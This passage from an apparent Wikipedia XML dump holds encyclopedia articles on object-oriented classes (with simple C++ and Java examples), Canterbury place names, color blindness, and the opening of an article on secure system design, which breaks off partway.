An [[association (object-oriented programming)|association]] between two classes is a type of a link between the corresponding objects. A (two-way) association between classes A and B describes a relationship between each object of class A and some objects of class B, and vice versa. Associations are often named with a verb, such as &quot;subscribes-to&quot;.

An association role describes the role of an instance of a class when the instance participates in an association. An association role is related to each end of the association. The role describes an instance of a class from the point of view of a situation in which the instance participates in the association. For example, a &quot;subscriber&quot; role describes instances of the class &quot;Person&quot; when it participates in a &quot;subscribes-to&quot; relationship with the class &quot;Magazine&quot;. Also, a &quot;Magazine&quot; has the &quot;subscribed magazine&quot; role when the subscribers subscribe-to it.

Association role multiplicity describes how many instances correspond to each instance of the other class(es) of the association. Common multiplicities are &quot;0..1&quot;, &quot;1..1&quot;, &quot;1..*&quot; and &quot;0..*&quot;, where the &quot;*&quot; specifies any number of instances.

== Local classes ==
When a class is declared inside a function it is called a local class. It has some unique properties like it can use global as well as static variables of the function declared before the class but can't access automatic variables. Global variables should be used with scope(::) operator.

There are some restriction on it's use they can't have static data members and member functions must be defined inside the class only enclosing fuction cant access private members of the class but they can be made to do so by declaring them Friend to that local class.

==Partial classes==
Partial Classes are classes that can be split over multiple files, making it easier to deal with large quanities of code. At [[Compiler|compile]] time the partial classes are grouped together, thus logically make no difference to the output. An example of the use of partial classes may be the seperation of user interface logic and processing logic. A primary benefit of partial classes is allowing different programmers to work on different parts of the same class at the same time. They also make automatically generated code easier to interpret, as it is separated from other code into a partial class. 
Partial classes have been around in [[SmallTalk]] un der the name of ''Class Extensions'' for considerable time.
In pre-beta versions of Visual Studio 2005 the partial keyword was known as &quot;expands&quot; in Visual Basic.
With the arrival of the [[.NET Framework|.NET framework 2]] [[Microsoft]] introduced partial classes, supported in both [[C Sharp|c# 2.0]] and [[Visual Basic .NET|Visual Basic 2005]].

==Subclasses and superclasses==
Classes are often related in some way. The most popular of these relations is [[inheritance (object-oriented programming)|inheritance]], which involves '''subclasses''' and '''superclasses''', also known respectively as '''child classes''' (or '''derived classes''') and '''parent classes''' (or '''base classes'''). If [car] was a class, then [Jaguar] and [Porsche] might be two sub-classes. If [Button] is a subclass of [Control], then all buttons are controls. Subclasses usually consists of several kinds of modifications to the base class: addition of new instance variables, addition of new methods and [[overriding]] of existing methods to support the new instance variables.

Conceptually, a superclass should be considered as a common part of its subclasses. This factoring of commonality is one mechanism for providing [[reuse]]. Thus, extending a superclass by modifying the existing class is also likely to narrow its applicability in various situations. In [[Object-oriented design]], careful balance between applicability and functionality of superclasses should be considered. Subclassing is different from [[subtyping]] in that subtyping deals with common behaviour whereas subclassing is concerned with common structure.

Some [[programming language|programming languages]] (for example [[C++]]) allow [[multiple inheritance]] -- they allow a child class to have more than one parent class. This technique has been criticized by some for its unnecessary complexity and being difficult to implement efficiently, though some projects have certainly benefited from its use. [[Java programming language|Java]], for example has no multiple inheritance, its designers feeling that it would add unnecessary complexity.

Sub- and superclasses are considered to exist within a [[hierarchy (object-oriented programming)|hierarchy]] defined by the inheritance relationship. If multiple inheritance is allowed, this hierarchy is a [[directed acyclic graph]] (or DAG for short), otherwise it is a [[tree (graph theory)|tree]]. The hierarchy has classes as nodes and inheritance relationships as links. The levels of this hierarchy are called [[layer]]s or [[level of abstraction|levels of abstraction]]. Classes in the same level are more likely to be [[association (object-oriented_programming)|associated]] than classes in different levels.

There are two slightly different points of view as to whether subclasses of the same class are required to be disjoint. Sometimes, subclasses of a particular class are considered to be completely disjoint. That is, every instance of a class has exactly one ''most-derived class'', which is a subclass of every class that the instance has. This view does not allow dynamic change of object's class, as objects are assumed to be created with a fixed most-derived class. The basis for not allowing changes to object's class is that the class is a compile-time type, which does not usually change at runtime, and polymorphism is utilised for any dynamic change to the object's behaviour, so this ability is not necessary. And design that does not need to perform changes to object's type will be more robust and easy-to-use from the point of view of the users of the class.

From another point of view, subclasses are not required to be disjoint. Then there is no concept of a most-derived class, and all types in the inheritance hierarchy that are types of the instance are considered to be equally types of the instance. This view is based on a dynamic classification of objects, such that an object may change its class at runtime. Then object's class is considered to be its ''current'' structure, but changes to it are allowed. The basis for allowing object's class to change is performance. It's more efficient to allow changes to object's type, since references to the existing instances do not need to be replaced with references to new instances when the class of the object changes. However, this ability is not readily available in all programming languages.

==Reasons for implementing classes==
Classes, when used properly, can accelerate development by reducing redundant code entry, testing and bug fixing.  If a class has been thoroughly tested and is known to be a solid work, it stands to reason that implementing that class or extending it will reduce if not eliminate the possibility of bugs propagating into the code.  In the case of extension new code is being added so it also requires the same level of testing before it can be considered solid.

Another reason for using classes is to simplify the relationships of interrelated data. Rather than writing code to repeatedly draw a GUI window on the terminal screen, it is simpler to represent the window as an object and tell it to draw itself as necessary. With classes, GUI items that are similar to windows (such as dialog boxes) can simply inherit most of their functionality and data structures from the window class. The programmer then need only add code to the dialog class that is unique to its operation. Indeed, GUIs are a very common and useful application of classes, and GUI programming is generally much easier with a good class framework.

==Categories of classes==
===Abstract and concrete classes===
An '''abstract class''', or ''abstract base class'' (ABC), is one that is designed ''only'' as a [[class (object-oriented programming)|parent class]] and from which [[class (object-oriented programming)|child classes]] may be derived, and which is not itself suitable for [[instance|instantiation]].  Abstract classes are often used to represent [[Abstraction|abstract]] concepts or entities.  The incomplete features of the abstract class are then shared by a group of sibling sub-classes which add different variations of the missing pieces.  In C++, an abstract class is
defined as a class having at least one pure virtual method, i.e., an [[abstract method]], which may or may not possess an implementation.

Abstract classes are superclasses which contain [[abstract method]]s and are defined such that concrete subclasses are to extend them by implementing the [[method (computer science)|method]]s. The [[behavior]]s defined by such a class are ''&quot;generic&quot;'' and much of the class will be [[definition|undefined]] and unimplemented.  Before a class derived from an abstract class can be instantiated, it must implement particular methods for all the abstract methods of its parent classes.

In [[computing]], when specifying an '''abstract class''', the programmer is referring to a [[Class (computer science)|class]] which has elements that are meant to be implemented by inheritance. The [[Abstraction (computer science)|abstraction]] of the class [[Method (computer science)|methods]] to be implemented by the sub-classes is meant to simplify [[software development]].

A '''concrete class''', however, is a [[Class (computer science)|class]] for which entities (instances) may be created. This contrasts with abstract classes which can not be [[instance|instantiated]] because it defeats its purpose of being an 'abstract'.

Most [[Object-oriented programming language|object oriented programming languages]] allow the [[programmer]] to specify which classes are considered abstract and will not allow these to be instantiated (in [[Java programming language|Java]], for example, the keyword ''abstract'' is used). This also
enables the programmer to focus on planning and design. The actual implementation of course is to be done in the derived classes.

In [[C++]], an abstract class is a class having at least one pure virtual function.
They can not be instantiated and will generate an error if an attempt is made. They are meant to function as stubs, allowing the programmer to identify what modules of functions (behaviour or methods) are needed without having to actually implement them. This is in line with [[Object-oriented programming|OOP]]'s philosophy of allowing the programmer to concentrate on how an object should behave without going into the actual detail.

=== Metaclasses ===
Metaclasses are classes whose instances are classes. A metaclass describes a common structure of a collection of classes. A metaclass can implement a [[design pattern (computer science)|design pattern]] or describe a shorthand for particular kinds of classes. Metaclasses are often used to describe [[framework]]s.

In some languages such as [[Smalltalk]] and [[Ruby programming language|Ruby]], a class is also an object; thus each class is an instance of the unique metaclass, which is built in the language. For example, in [[Objective-C]], each object and class is an instance of [[NSObject]]. [[CLOS]] (Common Lisp Object System) provides [[metaobject protocol]]s (MOP) to implement those classes and metaclasses.

==Non-class-based programming==
To the surprise to some familiar with the use of classes for OOP, it has been shown that one can design fully fledged object-oriented languages that do not have builtin supports of classes. Those languages are usually designed with the motive to address the problem of tight-coupling between implementations and interfaces due to the use of classes. For example, the [[Self programming language|Self]] language was designed to show that the role of a class can be substituted by using an extant object which serves as a prototype to a new object, and the resulting language is as expressive as [[Smalltalk]] with more generality in creating objects. See [[class-based OOP]] for the criticism of class-based programming and [[object-based languages]] for such non-class-based languages.

=== Run-time representation of classes ===
As a datatype, a class is usually considered as a compile-time construct. A language may also support [[prototype]] or [[Factory method pattern|factory]] [[metaobject]]s that represent run-time information about classes, or even represent metadata that provides access to [[reflection]] facilities and ability to manipulate data structure formats at run-time. Many languages distinguish this kind of [[run-time type information]] about classes from a class on the basis that the information is not needed at run-time. Some dynamic languages do not make strict distinctions between run-time and compile-time constructs, and therefore may not distinguish between metaobjects and classes.

For example: if [[human]]s is a [[metaobject]] representing the class Person, then instances of class Person can be created by using the facilities of the human [[metaobject]].

==Classes without inheritance==
Not every language that both supports objects and classes is generally seen as object-oriented. Examples are [[JavaScript]] and earlier versions of [[Visual Basic]], which lack the support for inheritance. The lack of inheritance severely impairs the full practice of object-oriented programming. Those languages, sometimes called &quot;object-based languages&quot;, do not provide the structural benefits of statically type checked interfaces for objects. This is because in object-based languages it is possible to use and extend data structures and attach methods to them at run-time. This precludes the compiler or interpreter from being able to check the type information specified in the source code as the type is built dynamically and not defined statically. Most of these languages allow for ''instance behaviour'' and complex ''operational polymorphism'' (see [[dynamic dispatch]] and [[Polymorphism (computer science)|polymorphism]]).

== Instantiation ==
As explained above, classes can be used to create new objects by instantiating them. In most languages, the structures as defined by the class determine how the memory used by its instances will be laid out. This technique is known as the ''cookie-cutter model''.

The alternative to the cookie-cutter model is that of for instance [[Python programming language|Python]], where objects are structured as associative key-value containers. In such models, objects that are instances of the same class could contain different instance variables, as state can be dynamically added to the object. This may resemble [[Prototype-based languages]] in some ways, but it is not equivalent.

== Examples ==
=== [[C++]] ===
==== Example 1 ====
 
    #include &lt;iostream&gt;
    #include &lt;string&gt;
 
    class Hello
    {
        std::string what;
 
        public:
            Hello(const char* s)
                : what(s)
            {
            }
 
            void say()
            {
                std::cout &lt;&lt; &quot;Hello &quot; &lt;&lt; what &lt;&lt; &quot;!&quot; &lt;&lt; std::endl;
            }
    };
 
    int main()
    {
        Hello* hello_world = new Hello(&quot;world&quot;);
        hello_world-&gt;say();
 
        return 0;
    }

This example shows how to define a [[C++]] class named &quot;Hello&quot;. It has a private string attribute named &quot;what&quot;, and a public method named &quot;say&quot;.

==== Example 2 ====

 class Abstract
 {
 public:
      virtual void MyVirtualMethod() = 0;
 };
 
 class Concrete : public Abstract
 {
 public:
      void MyVirtualMethod()
      {
       //do something
      }
 };

An object of class Abstract can not be created because the function MyVirtualMethod has not been defined (the =0 is C++ syntax for a pure virtual function, a function that must be part of any derived concrete class but is not defined in the abstract base class. The Concrete class is a concrete class because its functions (in this case, only one function) have been declared and implemented.

==== Example 3 ====

 #include &lt;string&gt;
 using std::string;
 
 class InetMessage
 {
   string m_subject, m_to, m_from;
 
 public:
   InetMessage (const string&amp; subject,
                const string&amp; to,
                const string&amp; from);
   string subject () const;
   string to () const;
   string from () const;
 };

=== [[Java programming language|Java]] ===
==== Example 1 ====

 public class Example1
 {
   // This is a Java class, it automatically extends the class Object
 }

This example shows the simplest [[Java programming language|Java]] class possible.

==== Example 2 ====

 public class Example2 extends Example1
 {
   // This is a class that extends the class created in Example 1.
   protected int data;
 
   public Example2()
   {
      // This is a constructor for the class.  It does not have a return type.
      data = 1;
   }
 
   public int getData()
   {
     return data;
   }
 
   public void setData(int d)
   {
     data = d;
   }
 }

This example shows a class that has a defined constructor, one member data, and two accessor methods for that member data.  It extends the previous example's class.  Note that in Java all classes automatically extend the class Object.  This allows you to write generic code to deal with objects of any type.

==See also==
* [[Instance|Instantiation]]
* [[Hierarchy (object-oriented programming)|Hierarchy]]
* [[Class diagram]] (UML)

==Literature==
* Meyer, B.: &quot;Object-oriented software construction&quot;, 2nd edition, Prentice Hall, 1997, ISBN 0136291554
* Rumbaugh et al.: &quot;Object-oriented modeling and design&quot;, Prentice Hall, 1991, ISBN 0136300545
* [http://www.open-std.org/jtc1/sc22/wg21/ ISO/IEC 14882:2003 Programming Language C++, International standard]
* Abadi; Cardelli: A Theory of Objects

[[Category:Object-oriented programming]]
[[Category:Programming constructs]]

[[de:Klasse (objektorientierte Programmierung)]]
[[fr:Classe (informatique)]]
[[lt:Klasė (programavimas)]]
[[nl:Klasse (informatica)]]
[[pl:Klasa abstrakcyjna]]
[[pt:Classe (programação)]]
[[ru:Класс_(программирование)]]
[[sv:Klass (programmering)]]
[[zh:类 (计算机科学)]]</text>
    </revision>
  </page>
  <page>
    <title>Canterbury (disambiguation)</title>
    <id>7394</id>
    <revision>
      <id>34192093</id>
      <timestamp>2006-01-07T02:10:40Z</timestamp>
      <contributor>
        <ip>70.48.50.234</ip>
      </contributor>
      <text xml:space="preserve">'''[[Canterbury]]''' is a city located in the county of Kent in southeast England.

'''Canterbury''' is also the name of:

In '''England''':
*[[City of Canterbury]], the local government district in Kent
*[[Canterbury Cathedral]]
*[[Canterbury (UK Parliament constituency)]]
In the '''United States''':
*[[Canterbury, Connecticut]], a town
*[[Canterbury, New Hampshire]], a town
*[[Canterbury Park]], a horse racing facility in Minnesota
In '''New Zealand''':
*[[Canterbury, New Zealand]]
*[[Canterbury Plains]]
*[[Canterbury Rugby Football Union]], the governing body for rugby union in the central Canterbury region
In '''Australia''':
*[[Canterbury, New South Wales]], a suburb of Sydney
*[[City of Canterbury, New South Wales]], a local government area of Sydney
*[[Canterbury, Queensland]], a small settlement
*[[Canterbury, Victoria]], a suburb of Melbourne

;Or:
*[[Canterbury Scene]], the British music genre
*[[Canterbury (album)|''Canterbury'' (album)]], a 1983 album by Diamond Head
*[[Canterbury of New Zealand]], a New Zealand-based sports apparel company
*[[Canterbury College]]
*[[Canterbury Bulldogs]], a rugby league team. 
*[[Canterbury High School]], a high school dedicated to the arts in Otawa.

{{disambig}}

[[de:Canterbury (Begriffsklärung)]]
[[ko:캔터베리]]
[[it:Canterbury]]
[[nl:Canterbury]]
[[nb:Canterbury]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptographer</title>
    <id>7395</id>
    <revision>
      <id>15905466</id>
      <timestamp>2003-02-14T01:11:25Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[List of cryptographers]]</text>
    </revision>
  </page>
  <page>
    <title>Color blindness</title>
    <id>7397</id>
    <revision>
      <id>41940539</id>
      <timestamp>2006-03-02T19:47:27Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>fixing typo</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Color blindness |
  ICD10       = H53.5 |
  ICD9        = {{ICD9|368.5}} |
}}

'''Color blindness''', or color vision deficiency, in [[human]]s is the inability to perceive differences between some or all [[color]]s that other people can distinguish. It is most often of [[gene]]tic nature, but may also occur because of [[eye]], [[nerve]], or [[brain]] damage, or due to exposure to certain [[chemical]]s. The English chemist [[John Dalton]] in [[1794]] published the first [[science|scientific]] paper on the subject, &quot;Extraordinary facts relating to the vision of colors&quot;, after the realization of his own color blindness; because of Dalton's work, the condition is sometimes called '''Daltonism''', although this term is now used for a type of color blindness called ''deuteranopia'' (see below).

Color blindness is usually classed as a [[disability]]; however, in select situations color blind people have advantages over people with normal color vision. Color blind [[hunter]]s are better at picking out prey against a confusing background, and the [[military]] have found that color blind soldiers can sometimes see through [[camouflage]] that fools everyone else. [[Monochromat|Monochromats]] may have a minor advantage in dark vision, but only in the first five minutes of dark adaptation. 

[[Image:TestNothingGamma165.png|frame|right|This is a sample image. The pictures below should look similar to people with normal vision (containing numbers, in this case 83), but some of them will not be visible to people with a color vision deficiency. Note, however, that the contrast in these tests is much subtler than commonly seen in other similar tests.]]

==Prevalence==
Color blindness affects a significant number of people, although exact proportions vary among groups. In Australia, for example, approximately 4% of the population suffers from some deficiency in color perception. Isolated communities with a restricted gene pool sometimes produce high proportions of color blindness, including the less usual types. Examples include rural [[Finland]] and some of the [[Scotland|Scottish]] islands.

[[Image:TestProGamma165.png|frame|right|This image contains a two digit number similar to the sample above. Someone who is protanopic might not see this number.]]

==Causes of color blindness==
There are many types of color blindness. The most common varieties are hereditary (genetic) photoreceptor disorders, but it is also possible to acquire color blindness through damage to the retina, optic nerve, or higher brain areas. Higher brain areas implicated in color processing include the parvocellular pathway of the [[lateral geniculate nucleus]] of the [[thalamus]], and [[visual area V4]] of the [[visual cortex]]. Acquired color blindness is generally unlike the more typical genetic disorders. For example, it is possible to acquire color blindness only in a portion of the visual field but maintain normal color vision elsewhere. Some forms of acquired color blindness are reversible. Transient color blindness also occurs (very rarely) in the [[aura]] of some [[migraine]] sufferers.

==Classification of color deficiencies==
[[Image:TestDeuGamma165.png|frame|right|Someone who is deuteranopic might not see this number. Please note that the second digit in this number may be difficult to discern even by those with normal vision.]]

[[Image:TestTriGamma165.png|frame|right|Someone who is tritanopic might not see this number.]]
*Acquired
*Congenital
:*[[Dichromacy]]
::*Protanopia
::*Deuteranopia
::*Tritanopia
:*[[Anomalous trichromacy]]
::*[[Protanomaly]]
::*[[Deuteranomaly]]
::*[[Tritanomaly]]
:*[[Monochromacy]]
::*[[Achromatopsia|Rod monochromacy]]
::*[[Achromatopsia]]

The normal human [[retina]] contains two kinds of light sensitive cells: the [[rod cell]]s ([[Scotopic vision|active in low light]]) and the [[cone cell]]s ([[Photopic vision|active in normal daylight]]). Normally, there are three kinds of cones, each containing a different pigment. The cones are activated when the pigments absorb light. The [[absorption spectrum|absorption spectra]] of the pigments differ; one is maximally sensitive to short wavelengths, one to medium wavelengths, and the third to long wavelengths (their peak sensitivities are in the blue, yellowish-green, and yellow regions of the spectrum, respectively). It is important to realize that the absorption spectra of all three systems cover much of the visible spectrum, so it is incorrect to refer to them as &quot;[[blue]]&quot;, &quot;[[green]]&quot; and &quot;[[red]]&quot; receptors, especially because the &quot;red&quot; receptor actually has its peak sensitivity in the [[yellow]]. The sensitivity of normal color vision actually depends on the overlap between the absorption spectra of the three systems: different colors are recognized when the different types of cone are stimulated to different extents. For example, red light stimulates the long wavelength cones much more than either of the others, but the gradual change in hue seen as wavelength reduces is the result of the other two cone systems being increasingly stimulated as well.

The different kinds of color blindness result from one or more of the different cone systems either not functioning at all, or functioning in an unusual way. When one cone system is compromised, [[dichromat|dichromacy]] results. The most frequent forms of human color blindness result from problems with either the middle or long wavelength sensitive cone systems, and involve difficulties in discriminating reds, yellows, and greens from one another. They are collectively referred to as &quot;red-green color blindness&quot;, though the term is an over-simplification and somewhat misleading. Other forms of color blindness are much rarer. They include problems in discriminating blues from yellows, and the rarest forms of all, complete color blindness or ''[[monochromat|monochromacy]]'', where one cannot distinguish any color from [[gray (color)|grey]], as in a [[black-and-white]] movie or photograph.

===Red-green color blindness===
====Types of red-green color blindness====
There are several types of red-green color blindness:
* '''Protanopia''': Lacking the long-wavelength sensitive retinal cones, those with this condition are unable to distinguish between colors in the green-yellow-red section of the spectrum. They have a [[neutral point]] at a wavelength of 492 [[nanometre|nm]]&amp;mdash;that is, they cannot discriminate light of this wavelength from white. Their sensitivity to light in the orange and red part of the spectrum is also reduced. Very few people have been found who have one normal eye and one protanopic eye. These ''unilateral dichromats'' report that with only their protanopic eye open, they see wavelengths below the neutral point as blue and those above it as yellow. This is a rare form of color blindness.
* '''Deuteranopia''': Lacking the medium-wavelength cones, those affected are again unable to distinguish between colors in the green-yellow-red section of the spectrum. Their neutral point is at a slightly longer wavelength, 498 nm. This is one of the rarer forms of colorblindness making up about 1% of the male population, also known as ''Daltonism'' after [[John Dalton (scientist)|John Dalton]]. (Dalton's diagnosis was confirmed as deuteranopia in 1995, some 150 years after his death, by [[DNA]] analysis of his preserved eyeball.) Deuteranopic unilateral dichromats report that with only their deuteranopic eye open, they see wavelengths below the neutral point as blue and those above it as yellow.
* '''Protanomaly''': Having a mutated form of the long-wavelength pigment, whose peak sensitivity is at a shorter wavelength than in the normal retina, protanomalous individuals are less sensitive to red light than normal. This means that they are less able to discriminate colors, and they do not see mixed lights as having the same colors as normal observers. They also suffer from a darkening of the red end of the spectrum. This causes reds to reduce in intensity to the point where they can be mistaken for black. Protanomaly is a fairly rare form of color blindness, making up about 1% of the male population. 
* '''Deuteranomaly''': Having a mutated form of the medium-wavelength pigment. The medium-wavelength pigment is shifted towards the red end of the spectrum resulting in a reduction in sensitivity to the green area of the spectrum. Unlike protanomaly the intensity of colors is unchanged. This is the most common form of color blindness, making up about 6% of the male population.

====Dichromacy and anomalous trichromacy====
Protanopes and deuteranopes are dichromats; that is, they can match any color they see with some mixture of just two spectral lights (whereas normally humans are [[trichromat]]s and require three lights). Those having protanomaly or deuteranomaly are trichromats, but the color matches they make differ from the normal: In order to match a given spectral yellow light, protanomalous observers need more red light in a red/green mixture than a normal observer, and deuteranomalous observers need more green. They are called '''anomalous trichromats'''.

Protanomaly and deuteranomaly can be readily observed using an instrument called an [[anomaloscope]], which mixes spectral red and green lights in variable proportions, for comparison with a fixed spectral yellow. If this is done in front of a large audience of men, as the proportion of red is increased from a low value, first a small proportion of people will declare a match, while most of the audience sees the mixed light as greenish. These are the deuteranomalous observers. Next, as more red is added the majority will say that a match has been achieved. Finally, as yet more red is added, the remaining, protanomalous, observers will declare a match at a point where everyone else is seeing the mixed light as definitely reddish.

====Genetics of red-green color blindness====
Genetic red-green color blindness affects men much more often than women, because the [[gene]]s for the red and green color receptors are located on the X [[chromosome]], of which men have only one and women have two. Such a trait is called [[sex-linked]]. Genetic females (46, XX) are red-green color blind only if ''both'' their X chromosomes are defective with a similar deficiency, whereas genetic males (46, XY) are color blind if their only X chromosome is defective.

The gene for red-green color blindness is transmitted from a color blind male to all his daughters who are [[heterozygote]] carriers and are perceptually unaffected. In turn, a carrier woman passes on a mutated X chromosome region to only half her male offspring. The sons of an affected male will not inherit the trait, since they receive his Y chromosome and not his (defective) X chromosome.

Because one X chromosome is [[Barr body|inactivated]] at random in each cell during a woman's development, it is possible for her to have four different cone types, as when a carrier of protanomaly has a child with a deuteranomalic man. Denoting the normal vision alleles by P and D and the anomalous by p and d, the carrier is PD pD and the man is Pd. The daughter is either PD Pd or pD Pd. Suppose she is pD Pd. Each cell in her body expressses either her mother's chromosome pD or her father's Pd. Thus her red-green sensing will involve both the normal and the anomalous pigments for both colors. Such women are [[tetrachromat]]s, since they require a mixture of four spectral lights to match an arbitrary light.

===Blue-yellow color blindness===
Color blindness involving the inactivation of the short-wavelength sensitive cone system (whose absorption spectrum peaks in the bluish-violet) is called '''tritanopia''' or, loosely, blue-yellow color blindness. Mutation of the short-wavelength sensitive cones is called '''tritanomaly'''. Tritanopia is equally distributed among males and females, because the gene coding for the short-wavelength receptor is located on chromosome 7 and therefore not sex-linked, but since mutations in both copies are required, it is less frequently apparent.

===Monochromacy===
Complete inability to distinguish any colors is called [[monochromat|monochromacy]]. It occurs in three forms: 
# ''cone monochromacy'', where only a single cone system appears to be functioning, so that no colors can be distinguished, but vision is otherwise more or less normal. 
# ''[[achromatopsia]]'' or ''[[rod monochromacy]]'', where the retina contains no cone cells, so that in addition to the absence of color discrimination, vision in lights of normal intensity is difficult. While normally rare, achromatopsia is very common on the island of [[Pingelap]], a part of the [[Pohnpei]] state, [[Federated States of Micronesia]], where it is called ''maskun'': about 1/12 of the population there has it. The island was devastated by a storm in the [[18th century]], and one of the few male survivors carried a gene for achromatopsia; the population is now several thousand, of whom about 30% carry this gene.
# ''[[Color agnosia]]'' or &quot;central achromatopsia&quot;, where the person can not perceive colors, even though the eyes are capable of distinguishing them. Some sources do not consider this to be true color blindness, because the failure is of perception, not of vision. It is a form of [[visual agnosia]].

==Diagnosis==
The [[Ishihara color test]], which consists of a series of pictures of colored spots, is the test most often used to diagnose red-green color deficiencies.
A figure (usually one or more [[Arabic numerals|Arabic digits]]) is embedded in the picture as a number of spots in a slightly different color, and can be seen with normal color vision, but not with a particular color defect.
The full set of tests has a variety of figure/background color combinations, and enable diagnosis of which particular visual defect is present.
The anomaloscope, described above, is also used in diagnosing anomalous trichromacy.

However, the Ishihara color test is criticized for containing only numerals and thus not being useful for young children, who have not yet learned to use numerals.
It is often stated that it is important to identify these problems as soon as possible and explain them to the children to prevent possible problems and psychological traumas.
For this reason, alternative color vision tests were developed using only symbols (square, circle, car).

Most clinical tests are designed to be fast, simple, and effective at identifying broad categories of color blindness. In academic studies of color blindness, on the other hand, there is more interest in developing flexible tests ([http://www.hubmed.org/display.cgi?uids=15192692], for example) to collect thorough datasets, identify [[copunctal point]]s, and measure [[just noticeable difference]]s.

==Treatment and management==
There is generally no treatment to cure color deficiencies, however, certain types of tinted filters and contact lenses may help an individual to distinguish different colors better.

==Design implications of color blindness==
[[Color code]]s present particular problems for color blind people as they are often difficult or impossible for color blind people to understand.

Good [[graphic design]] avoids using color coding or color contrasts alone to express information, as this not only helps color blind people, but also aids understanding by normally sighted people. The use of [[Cascading Style Sheets]] on the [[world wide web]] allows pages to be given an alternative color scheme for color-blind readers. [http://wellstyled.com/tools/colorscheme2/index-en.html This color scheme generator] helps a graphic designer see color schemes as seen by eight types of color blindness. 
It is sometimes claimed that in extreme emergencies everyone is color blind. When the need to process visual information as rapidly as possible arises, for example in a train or aircraft crash, the visual system may operate only in shades of grey, with the extra information load in adding color being dropped. This is an important possibility to consider when designing, for example, emergency brake handles or emergency phones.

==Misconceptions and compensations==
Color blindness is not the swapping of colors in the observer's eyes. Grass is never red, stop signs never green. Distinguishing a [[Granny Smith]] from a [[Braeburn]] is not a problem. The color impaired do not learn to call red &quot;green&quot; and vice versa. 
Most color blind persons have learned their vulnerabilities and are acutely aware of just which colors will be confused. In some cases this can lead to an acute color sensitivity due to the fact that nuance of color will need to be categorized more clearly. A person who has limited ability to distinguish brown from red or green may become more concerned as to the shade of taupe or olive of a specific material than a person whose normal vision allows them to see exactly which shade of greenish-brown they are looking at. 

The United States Military has found that color blind individuals can be more easily trained as snipers due to the fact that they are more acutely aware of differences in texture and pattern and thereby less likely to be fooled by camouflage patterns.

==See also==
*[[List of colors]]
*[[Tetrachromacy]]

==External links==
* [http://psychology.ucalgary.ca/pace/VA-Lab/colourperceptionweb/congenital.htm Congenital Colour Vision Deficiencies], description from the [[University of Calgary]]
* [http://www.eyecaresource.com/conditions/color-blindness/ Color Blindness Examples]
* [http://colorvisiontesting.com/online%20test.htm Color Vision Testing Made Easy], samples of this alternative test
* Attempts to simulate some rough features of color blind vision:
** [http://webexhibits.org/causesofcolor/2.html How do things look to colorblind people?], Causes of Color -- WebExhibits
** [http://colorvisiontesting.com/what%20colorblind%20people%20see.htm How the world looks to a color blind person], example images drawn using distorted colors
** [http://www.vischeck.com/ VisCheck], demonstrations of color blindness and simulation software
** [http://colorfilter.wickline.org/ ColorBlind Web Page Filter], shows how your web page looks under various forms of color blindness
** [http://www.etre.com/tools/colourcheck/ Etre Colour Check], determine the colour difference and contrast between any two colours used on your site
** [http://www.etre.com/tools/colourblindsimulator/ Etre Colour Blindness Simulator], upload your images and see how they look to a colour blind person

{{Color vision}}

[[Category:Color]]
[[Category:Vision]]

{{Link FA|nl}}

[[cv:Дальтонизм]]
[[da:Farveblindhed]]
[[de:Farbenfehlsichtigkeit]]
[[et:Värvipimedus]]
[[es:Daltonismo]]
[[fr:Daltonisme]]
[[io:Kolor-blindeso]]
[[he:עיוורון צבעים]]
[[nl:Kleurenblindheid]]
[[ja:色覚異常]]
[[no:Fargeblindhet]]
[[pl:Daltonizm]]
[[pt:Daltonismo]]
[[ru:Дальтонизм]]
[[sl:Barvna slepota]]
[[fi:Värisokeus]]
[[sv:Färgblindhet]]
[[ta:நிறக்குருடு]]
[[zh:色盲]]</text>
    </revision>
  </page>
  <page>
    <title>Computer security</title>
    <id>7398</id>
    <revision>
      <id>41985805</id>
      <timestamp>2006-03-03T01:27:07Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages maintenance|You can help!]]) using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''This article describes how security can be achieved through design and engineering. Please see the [[computer insecurity]] article for an alternative approach that describes the current battlefield of computer security exploits and defenses.''
'''Computer security''' is a field of computer science concerned with the control of risks related to computer use.

The means traditionally taken to realize this objective is to attempt to create a '''secure computing''' platform, designed so that agents (users or programs) can only perform [[action (philosophy)|action]]s that have been allowed. This involves specifying and implementing a [[security policy]]. The actions in question can be reduced to operations of access, modification and deletion. Computer security can be seen as a subfield of [[security engineering]], which looks at broader security issues in addition to computer security. 

In a secure system the legitimate users of that system are still able to do what they should be able to do. While one might be able to secure a computer beyond misuse using extreme measures (locked in a vault without any means of [[Electric power|power]] or [[communication]] for example),  this would not be regarded as a useful secure system because of the above requirement.

It is important to distinguish the techniques employed to increase a system's security from the issue of that system's security status. In particular, systems which contain fundamental flaws in their security designs cannot be made secure without compromising their utility. Consequently, most computer systems cannot be made secure even after the application of extensive &quot;computer security&quot; measures.

== Computer security by design == 

There are two different approaches to [[security]] in [[computing]]. One focuses mainly on external [[threat]]s, and generally treats the [[computer system]] itself as a [[trusted system]]. This philosophy is discussed in the [[computer insecurity]] article.

The other, discussed in this article, regards the computer system itself as largely an untrusted system, and redesigns it to make it more secure in a number of ways.  

This technique enforces [[privilege separation]], where an entity has only the privileges that are needed for its function. That way, even if an [[attacker]] has subverted one part of the system, fine-grained security ensures that it is just as difficult for them to subvert the rest.

Furthermore, by breaking the system up into smaller components, the complexity of individual components is reduced, opening up the possibility of using techniques such as [[automated theorem proving]] to prove the correctness of crucial software subsystems. Where formal correctness proofs are not possible, rigorous use of [[code review]] and [[unit testing]] measures can be used to try to make modules as secure as possible. 

The design should use &quot;[[defense in depth]]&quot;, where more than one subsystem needs to be compromised to compromise the security of the system and the information it holds. Subsystems should default to secure settings, and wherever possible should be designed to &quot;fail secure&quot; rather than &quot;fail insecure&quot; (see [[fail safe]] for the equivalent in safety engineering). Ideally, a secure system should require a deliberate, conscious, knowledgeable and free decision on the part of legitimate authorities in order to make it insecure. What constitutes such a decision and what authorities are legitimate is obviously controversial. 

In addition, security should not be an all or nothing issue. The designers and operators of systems should assume that security breaches are inevitable in the long term.
